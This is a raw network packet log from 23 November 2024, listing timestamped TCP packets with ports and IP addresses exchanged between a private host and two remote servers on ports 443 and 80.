Nov 23, 2024 15:22:23.603513956 CET	49797	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:23.603539944 CET	49797	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:23.603559017 CET	443	49797	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:23.603570938 CET	49797	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:23.603578091 CET	443	49797	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:23.606203079 CET	49802	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:23.606220007 CET	443	49802	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:23.606282949 CET	49802	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:23.606437922 CET	49802	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:23.606448889 CET	443	49802	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:23.634659052 CET	443	49796	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:23.634824991 CET	443	49796	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:23.634890079 CET	49796	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:23.634946108 CET	49796	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:23.634946108 CET	49796	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:23.634955883 CET	443	49796	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:23.634964943 CET	443	49796	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:23.636971951 CET	49803	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:23.637056112 CET	443	49803	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:23.637173891 CET	49803	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:23.637357950 CET	49803	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:23.637389898 CET	443	49803	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:23.642065048 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.642103910 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.642138004 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.642179012 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.642780066 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.642832041 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.642915964 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.642987967 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.644371033 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.644464970 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.644526005 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.645875931 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.645937920 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.645996094 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.646054029 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.647411108 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.647505999 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.647537947 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.647633076 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.648988962 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.649049044 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.649106979 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.649168968 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.650507927 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.650612116 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.650652885 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.650703907 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.651982069 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.652033091 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.652036905 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.652095079 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.653481007 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.653561115 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.653588057 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.653654099 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.654951096 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.654997110 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.655081034 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.655131102 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.656445980 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.656497955 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.656554937 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.657886982 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.657947063 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.657962084 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.658005953 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.659348965 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.659410954 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.659471989 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.659526110 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.660825968 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.660934925 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.661010981 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.662292004 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.662355900 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.662425995 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.662487984 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.663717985 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.663777113 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.663847923 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.663908005 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.665093899 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.665160894 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.665203094 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.665251970 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.666508913 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.666560888 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.666563988 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.666615009 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.667856932 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.667922020 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.667975903 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.668059111 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.669228077 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.669321060 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.669353962 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.669418097 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.670648098 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.670733929 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.670797110 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.671972036 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.672046900 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.672091007 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.672152042 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.673412085 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.673475027 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.673541069 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.673680067 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.674825907 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.674879074 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.674889088 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.674921989 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.676111937 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.676162004 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.676290035 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.676361084 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.677551031 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.677611113 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.677680969 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.677843094 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.678885937 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.678941965 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.679011106 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.679065943 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.680262089 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.680386066 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.680438995 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.680439949 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.681642056 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.681695938 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.681766033 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.681814909 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.683016062 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.683070898 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.683119059 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.684410095 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.684477091 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.684560061 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.684609890 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.685838938 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.685873985 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.685909986 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.685935974 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.687196016 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.687231064 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.687242031 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.687273979 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.688452959 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.688503981 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.688570023 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.688618898 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.689781904 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.689845085 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.689915895 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.689969063 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.691072941 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.691133022 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.691205025 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.691262960 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.692382097 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.692461014 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.692626953 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.692682981 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.693670988 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.693720102 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.693790913 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.693840981 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.695044994 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.695100069 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.695101976 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.695157051 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.696265936 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.696321011 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.696445942 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.696492910 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.697616100 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.697673082 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.697698116 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.697885036 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.698889017 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.699012995 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.699021101 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.699070930 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.700191975 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.700251102 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.700306892 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.700361967 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.701481104 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.701524019 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.701592922 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.701710939 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.702764988 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.702832937 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.702896118 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.702960968 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.704098940 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.704159021 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.704219103 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.704282999 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.705421925 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.705492020 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.705526114 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.705574036 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.706727982 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.706901073 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.706913948 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.706950903 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.708051920 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.708090067 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.708101988 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.708137989 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.709328890 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.709384918 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.709450006 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.709501982 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.710711956 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.710761070 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.710796118 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.710874081 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.711909056 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.711963892 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.711982012 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.712061882 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.713207006 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.713258028 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.713306904 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.713352919 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.714497089 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.714575052 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.749267101 CET	443	49798	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:23.749412060 CET	443	49798	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:23.749469995 CET	49798	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:23.749558926 CET	49798	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:23.749563932 CET	443	49798	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:23.749573946 CET	49798	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:23.749577999 CET	443	49798	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:23.753526926 CET	49804	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:23.753607035 CET	443	49804	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:23.753747940 CET	49804	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:23.754085064 CET	49804	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:23.754120111 CET	443	49804	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:23.808549881 CET	443	49799	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:23.808645010 CET	443	49799	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:23.808689117 CET	49799	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:23.809107065 CET	49799	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:23.809130907 CET	443	49799	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:23.809143066 CET	49799	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:23.809149981 CET	443	49799	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:23.811264038 CET	49805	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:23.811301947 CET	443	49805	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:23.811507940 CET	49805	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:23.811841965 CET	49805	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:23.811856985 CET	443	49805	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:23.843295097 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.843365908 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.843369961 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.843600035 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.843604088 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.843651056 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.843734026 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.843784094 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.844821930 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.844907999 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.844947100 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.845020056 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.845516920 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.845582008 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.845689058 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.845746994 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.846493959 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.846555948 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.846590042 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.846730947 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.847497940 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.847563028 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.847635031 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.847716093 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.848499060 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.848552942 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.848583937 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.848679066 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.849678040 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.849733114 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.849750042 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.849786997 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.850565910 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.850613117 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.850673914 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.850719929 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.851636887 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.851716995 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.851732969 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.851762056 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.852688074 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.852739096 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.852746010 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.852798939 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.853651047 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.853712082 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.853782892 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.853842020 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.854702950 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.854773045 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.854846001 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.854892969 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.855706930 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.855843067 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.855894089 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.856744051 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.856808901 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.856859922 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.856966972 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.857772112 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.857834101 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.857893944 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.857942104 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.858831882 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.858882904 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.858973026 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.859035969 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.859822989 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.859879971 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.859930992 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.860037088 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.860852003 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.860914946 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.860981941 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.861032009 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.861951113 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.862005949 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.862024069 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.862071991 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.862922907 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.862973928 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.863045931 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.863097906 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.864022017 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.864074945 CET	49795	80	192.168.2.4	185.215.113.16
